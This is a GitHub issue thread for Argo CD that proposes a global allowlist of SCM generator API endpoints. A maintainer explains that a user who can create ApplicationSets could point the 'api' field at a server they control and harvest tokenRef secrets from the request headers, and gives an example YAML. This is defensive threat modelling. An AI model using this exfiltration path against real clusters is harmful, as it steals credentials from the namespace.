Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add SCM generator API endpoint allowlist support to ApplicationSet controller #9353

Closed
crenshaw-dev opened this issue May 10, 2022 · 4 comments · Fixed by #14286
Closed

Add SCM generator API endpoint allowlist support to ApplicationSet controller #9353

crenshaw-dev opened this issue May 10, 2022 · 4 comments · Fixed by #14286
Labels
component:application-sets Bulk application management related enhancement New feature or request security Security related

Comments

@crenshaw-dev
Copy link
Member

Summary

The ApplicationSet controller should accept a config item which restricts the allowed API endpoints for SCM generators.

Motivation

At some point, I think we'd like to let non-admins create and edit ApplicationSets. That's currently not possible because of the possibility to use arbitrary project field values and to exfiltrate secrets by setting the api fields of SCM generators to endpoints controlled by malicious users.

To move towards letting non-admins create/edit ApplicationSets, we should allow admins to restrict the acceptable API values at the controller level.

Proposal

We should add a config item (env var and/or ConfigMap) to the ApplicationSet controller accepting a comma-delimited list of acceptable SCM API URLs. The controller should not create Applications if the ApplicationSet SCM generator is configured to use an API not in that list.

@crenshaw-dev crenshaw-dev added enhancement New feature or request security Security related component:application-sets Bulk application management related labels May 10, 2022
@crenshaw-dev crenshaw-dev changed the title Add SCM generator API endpoint whitelist support to ApplicationSet controller Add SCM generator API endpoint allowlist support to ApplicationSet controller May 10, 2022
@rishabh625
Copy link
Contributor

You mean Applications resource like create delete list should be configurable in application set via service account and that service account will have the role bindings?

@crenshaw-dev
Copy link
Member Author

@rishabh625 nah, not exactly. Here's what I have in mind:

ARGOCD_ALLOWED_SCM_PROVIDERS= https://git.example.com/,https://gitlab.example.com/

So if someone tries to specify something different in an ApplicationSet, the controller will throw an error. For example, this would be rejected:

apiVersion: argoproj.io/v1alpha1
kind: ApplicationSet
metadata:
  name: myapps
spec:
  generators:
  - scmProvider:
      gitea:
        # The Gitea owner to scan.
        owner: myorg
        # The Gitea instance url
        api: https://gitea.mydomain.com/
        # If true, scan every branch of every repository. If false, scan only the default branch. Defaults to false.
        allBranches: true
        # Reference to a Secret containing an access token. (optional)
        tokenRef:
          secretName: gitea-token
          key: token
  template:

The reason this is important is because of the tokenRef block. If I control gitea.mydomain.com, and I can create ApplicationSets, then I can exfiltrate any secret from the argocd namespace by inspecting request headers.

@speedfl
Copy link
Contributor

speedfl commented Jun 22, 2023

Can we consider to add this as part of the AppProject so we can allow scm providers per projects ?

@crenshaw-dev
Copy link
Member Author

I think it's worth considering. It's probably excessive for right now, since I'm not sure there's a use case for "give project A access to SCM A and project B access to SCM B." That kind of selective access could be implemented by simply using different credentials. For now I think the main use case we want to cover is "make sure people can't hit arbitrary endpoints, stealing credentials." For that use case, I think a global allowlist is simpler and sufficient.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
component:application-sets Bulk application management related enhancement New feature or request security Security related
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants